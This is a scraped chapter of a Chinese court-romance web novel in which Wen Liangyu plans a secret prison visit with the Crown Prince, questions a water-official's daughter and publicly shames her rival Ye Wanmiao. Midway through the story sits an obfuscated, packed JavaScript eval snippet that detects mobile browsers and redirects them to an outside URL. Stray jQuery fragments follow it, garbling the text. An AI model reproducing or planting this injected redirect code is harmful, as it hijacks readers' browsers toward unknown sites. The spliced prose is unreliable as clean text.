11. 第 11 章

作品:《黑月光杀回来了

    冬日斜阳,照在人身上暖乎乎的。


    温良玉指尖蜷着,唇角却压得极平:“殿下此话当真?”


    “孤何时骗过你?”


    裴持的声音大多时候是冷的,没什么情绪的,可这时,却添了些自己都没发觉的柔意。


    温良玉仍狐疑地扫了他一眼,勉强道:“殿下心善,妾身多谢殿下。”


    下一刻,他却话锋一转,施施然道:“不过温娘子也知晓,京中好些人都在盯着东宫,想让孤手下留情,放他们一次,若是贸然放温娘子进大牢探视,难免会惹人非议。”


    “所以此次探视,不得惊动旁人,得由孤来安排。”


    “那是自然。”


    温良玉点点头,见卫融只是为了帮他脱身,好让自己顺利留在卫府,她也不想成为众矢之的。


    “明日酉时,孤在东宫等温娘子。”


    “酉时?”她皱起眉,酉时将近天黑,与她变身时间相近,稍有不慎,便会被发现。


    裴持微眯起眼,明知故问:“怎么?酉时?温娘子不方便?”


    温良玉挣扎了瞬,半个时辰,只要能在半个时辰内结束,就来得及。


    侯夫人寻皇后无果,只能将希望全寄托在她身上,她若真能将卫融救出来,哪怕卫家人不当她是真的温良玉,也会主动帮她遮掩纰漏,让她成为真正的温良玉。


    她身体的异样才能捂得更严实。


    “方便,自然是方便的。”


    她眼中多了些坚定,话说出口的刹那,已经在思忖东宫到大牢的路线了。


    既然决定去做,那就要做到万无一失。


    永嘉笑道:“我就说皇兄与良玉关系好,和亲姐弟无异。”


    裴持额角青筋猛地一跳,冷眸看过去:“你闭嘴。”


    永嘉满脸不服,轻哼了声,却不敢反驳。


    此次说是赏花宴,永嘉特意从宫中要了花匠精心培育的花卉,开得虽不盛,胜在一个新奇,可寒冬腊月,人人都捧着汤婆子,瑟瑟冷风吹着,没心思赏花。


    而对于这死而复生的温良玉,心里虽存着好奇,可瞧了眼她身旁围着的太子和永嘉,却不敢上前搭话。


    唯独陈语山,她初入京城,并不懂这些弯弯绕绕,略微鼓足气,小步上前,低声唤着:“温娘子。”


    温良玉正迎着裴持冒着冷意的目光,压着这处,直让人喘不过来气。


    刚想寻借口脱身,便听到这声音。


    她连忙转眸,露出点点笑意,是沾着亲和的柔弱:“你是?”


    陈语山松了口气,只觉她果然是个好脾气的温柔娘子,小心地捏出刚捡到的帕子,“这是温娘子方才掉的帕子吗?”


    熟悉的样式,熟悉的洋葱味儿。


    她唇角弧度一顿,有种被戳破秘密的窘迫。


    身旁那道神色冷冽的深绿身影本阴着脸,可见着那帕子的刹那,困顿的郁气忽地消弭了,眉眼慢慢舒展开,意味不明地嗤笑了声。


    这笑声钻进温良玉耳里,不怀好意地挠了挠,让那被碎发掩着的软肉更红了几分。


    “多、多谢,是我的。”


    她像是被发现了般,心剧烈跳动,接过,再胡乱地塞进袖口,说话也有些磕巴:“娘子是哪家人?以往怎么从未见过娘子?”


    陈语山仰眸,偷瞧她一眼,又迅速缩回脑袋,乖顺回道:“我、我是今年刚来京城的,家父姓陈,是都水使,入京述职,我名语山。”


    “温娘子唤我、唤我语山便是。”


    都水使……


    温良玉心中一动,五年前南方水患就隐有猖獗趋势,圣上从国库拨款修坝,由安亲王操办,才引来后面诸多事项。


    水患再现后,朝中为防范此等灾祸,特设下都水使一职,督查江河沿岸水情,此职位卑任重,不被朝中人重视,连带着这位陈娘子也融不进这些京中贵女。


    “语山。”她的笑更真切了些:“听闻都水使需跋涉多地,风餐露宿,辛劳艰苦,语山娘子也都去过吗?我自幼困于京城,没见过那些美景,心中甚是好奇呢。”


    陈语山自然很高兴:“当然。”说着,她靠近了温良玉几分,温软地念叨着起话来。


    从荒山野涧到汹涌江流,毒瘴荆丛到千年古树……娓娓道来,陈语山的眼睛亮晶晶的,闪烁着偶逢知己而激动的光。


    温良玉垂眸,眼睫在莹白的脸颊投下阴影,唇角始终挂着温柔的笑,时不时应她几句。


    永嘉见她这般,略微有些吃味,可到底是一块长大的,看出了蹊跷。


    温良玉看似温柔,常以一副弱不禁风的模样示人,可骨子里却是生疏的、有距离感的,姿态做足了,便不愿与人搭话,更别提对一陌生小娘子这般亲昵。


    事出反常必有妖,永嘉撇撇嘴,想着去办那件更要紧的事,匆忙走了。


    少年郎静守在侧旁,冷风凛过,墨绿衣角随之翩跹,他不着痕迹地扫过温良玉那张如花的脸。


    很漂亮。


    指腹滑过缎面的袖口,在心尖泛起涟漪,他的目光却一点点变冷,莫名想起他在书中看到的四个字。


    美人如刀。


    不是他袖口藏着的那把冰冷短刃,而是那种绵软的,钝的,看似毫无攻击力的,却能一点点割去人肉的刀。


    很不幸,温良玉就是一柄这样的钝刀,缠绕而来的呼吸,偶然露出的笑靥,脖颈后那抹莹白……都是极锋利的刃口,片去他的心头肉。


    偏生他还乐此不疲,念上这种被她捏在手心的感觉。


    就像现在,她就站在他身侧,明面上和善温柔,唇角扬着完美的弧度,偶然软声回应,似是极亲昵的姿态。


    可转眸眨眼间,眼角流露出的却是漫不经心,和疲于应付的不耐。


    裴持最是厌恶表里不一的人,可在看透了她的面具后,悸动仍不消减分毫。


    陷入沉思的温良玉并未注意身后人的异样。


    陈语山是个很单纯的姑娘,随意套.弄几句,便将这几年随父治水的事全说出来了。


    如她所料,是个耗时耗力的大工程,前几年一直由安亲王主导,去岁才渐渐由裴持接手。


    他身居高位,手段狠辣,不近人情,极快速地扫清了所有障碍,依着此事,在江南一带立下了极重的威,甚至隐约盖过了当今圣上。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002195|161809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪不得他敢直接抄了安亲王府,丝毫不顾及皇后的颜面,原早已握住了朝中权柄。


    温良玉余光扫过裴持的侧脸,晦暗深邃,让人琢磨不透情绪。


    真是长大了。她感叹道。


    “温娘子,若有机会,一定要去看看北方的山水,孤寒高远,只稍见过一次便再也忘不了。”


    陈语山不受控制地搭上了她的臂弯,动作间带着依赖意味的亲近。


    “好啊,到那时还请陈娘子为我引路。”


    温良玉轻拍着臂弯上的手背,熟稔地应声。


    两人说话间,忽地响起一道尖锐又惊恐的喊声:“温良玉!”


    她下意识地皱起眉,往那处看去。


    哦,原来是熟人。


    “妙娘,你也在这啊。”她加深唇角笑意,目含秋水,柔柔望去。


    面前两人正是卫家婆媳,侯夫人和叶宛妙。


    自从安亲王案出来后,太子哪里也不去,东宫又是个铁皮桶,钻不进一丝缝,侯夫人听说今日太子在永嘉府上作宴,忙不迭拉着叶宛妙赶来了。


    而叶宛妙呢,满脑都是温良玉死没死的事,扰得疲惫不堪,本不愿来,结果侯夫人亲自到芙蓉院,数落了几句,才悻悻出门。


    一路上也没心思敷衍她,只想着早点回去,亲自去山上检查一番。


    只有确认温良玉没了呼吸,她才能彻底安心。


    可刚到这,便对上温良玉那双含笑的眸子。


    她以为身死的人又出现在了眼前。


    像是接踵而至的噩梦,快将她折磨疯了。


    叶宛妙煞白着脸,唇剧烈翕动,若不是汤嬷嬷扶着,早已跌坐在地。


    “你、你是人是鬼!”


    温良玉拧起眉心,“妙娘说什么梦话?我自然是活人啊,昨日我们才见过。”


    她勾起轻微的、不易察觉的笑,又苦着张脸,捻起帕角擦擦眼角,似是被伤透了,捂住心口,向后踉跄了几步。


    “我知晓妙娘讨厌我,不想让我回来,可也不能污蔑我是个死人啊。”


    她抽泣几声道:“明明五年前我就死过一次了,妙娘还不满意吗?”


    “难道、难道非要对我赶尽杀绝,妙娘才能高兴吗?”


    家宅阴私,本不足为外人道。


    可今日来的宾客都是高门出身,见惯了后宅手段,短短几句,便足够他们联想到见不得光的另一面。


    看着满脸受伤的婉约娘子,再看看心虚闪烁的叶夫人。


    是好是坏,已不必多言。


    他们坚定地下了结论:原来五年前温娘子病逝是叶夫人一手操纵的!


    陈语山心疼地搀着温良玉,然后拧紧眉心,对着叶宛妙,用充满敌意的语气开口:“叶夫人,你为何要这般质问温娘子,难不成是自己做了什么亏心事,想要戕害温娘子,如今见着她了,心虚了?”


    温良玉轻拽了拽陈语山的衣角,露出孱弱的笑。


    “语山娘子,我知晓你是为我好,可、可……”她垂眸,泪珠啪嗒啪嗒落下,委屈道:“我相信妙娘不会害我的。”


    “她可能是做了噩梦,还没清醒吧。”